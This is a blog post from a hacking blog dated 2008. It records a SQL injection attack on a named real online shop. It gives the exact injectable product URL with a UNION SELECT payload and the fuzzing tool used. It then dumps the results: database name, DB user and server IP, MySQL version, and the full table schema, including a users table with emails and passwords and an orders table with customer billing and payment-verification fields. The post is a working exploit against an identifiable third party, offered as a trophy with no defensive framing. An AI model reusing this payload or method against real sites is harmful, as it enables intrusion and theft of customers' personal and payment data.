viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Wednesday, October 8, 2008

[SQLi] http://www.pipinproduction.com

10:42 PM Posted by viperfx07 No comments

Tool: schemafuzz.py v5
Dump:[+] URL:http://www.pipinproduction.com/shop/product.php?id=33+AND+1=2+UNION+SELECT+0,1,2,3,darkc0de,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
[+] Evasion Used: "+" "--"
[+] 18:24:39
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: db249540856
User: dbo249540856@74.208.16.176
Version: 5.0.51a-log

[Database]: db249540856
[Table: Columns]
[0]accessories: id_accessory,position,id_product,code,description,image,thumbnail,del
[1]brands: id_brand,description,status,global_percentage,free_shipping,code_discount,units_discount,code_percentage,units_percentage,code_discount_v,units_discount_v
[2]cart: id_cart,id_product,id_producti,id_user,price,qty,id_session,cart_date,type,ip
[3]categories: id_category,sub,position,name,name_esp,description,description_esp,image,image_esp,status,browse
[4]contents: id_content,id_language,contentcode,description,content,title_pic
[5]countries: id_country,value,description,flag,id_language,moneysign,enabled
[6]dictionaries: id_dictionary,id_language,namecode,text
[7]drawings: id_drawing,id_product,id_category,name,file,position
[8]events: id_event,edate,description,detail,status
[9]i_flags: id_flag,type,value,description
[10]i_log_types: id_log_type,description
[11]i_pricing: id_pricing,description,percentage,min_units
[12]i_status: id_status,description
[13]images: id_image,id_product,main,image,thumbnail,description,position,status
[14]languages: id_language,description,code
[15]log: id_log,log_date,id_user,log_type,notes
[16]manuals: id_manual,id_product,id_category,position,name,file
[17]options: id_option,optioncode,description,value
[18]orders: id_order,id_user,id_shipping,date,products,total,shipping_amount,tax,invoice,status,b_first_name,b_last_name,b_phone,b_address_1,b_address_2,b_city,b_state,b_zip_postal,b_id_country,s_first_name,s_last_name,s_phone,s_address_1,s_address_2,s_city,s_state,s_zip_postal,s_id_country,bs,p_timestamp,p_correlationid,p_ack,p_version,p_build,p_avscode,p_cvv2match,p_transactionid,p_amt,p_currencycode
[19]orders_products: id_orders_products,id_order,id_product,id_producti,price,qty
[20]prices: id_price,id_product,price_1,price_2,price_3,price_4,price_5
[21]products: id_product,id_category,id_brand,code,name,description_eng,description_esp,details_eng,details_esp,image,thumbnail,position,weight,price,status,length,width,height,new,stock
[22]productsi: id_producti,id_product,sku,size,color,price,stock,status
[23]shippings: id_shipping,description
[24]sizes: id_size,id_product,position,code,campo1,campo2,campo3,campo4,campo5,campo6,campo7,campo8,campo9,campo10,del
[25]ub_rel: id_ub,id_user,id_brand,percentage
[26]ups_products: id_product,code,description
[27]usa_states: id_state,st_code,st_description,status
[28]users: id_user,type,alias,email,password,id_pricing,reg_date,last_login,first_name,last_name,phone,address_1,address_2,city,state,zip_postal,notes,id_country,status

[-] [18:32:58]
[-] Total URL Requests 235
[-] Done

0 comments:

Post a Comment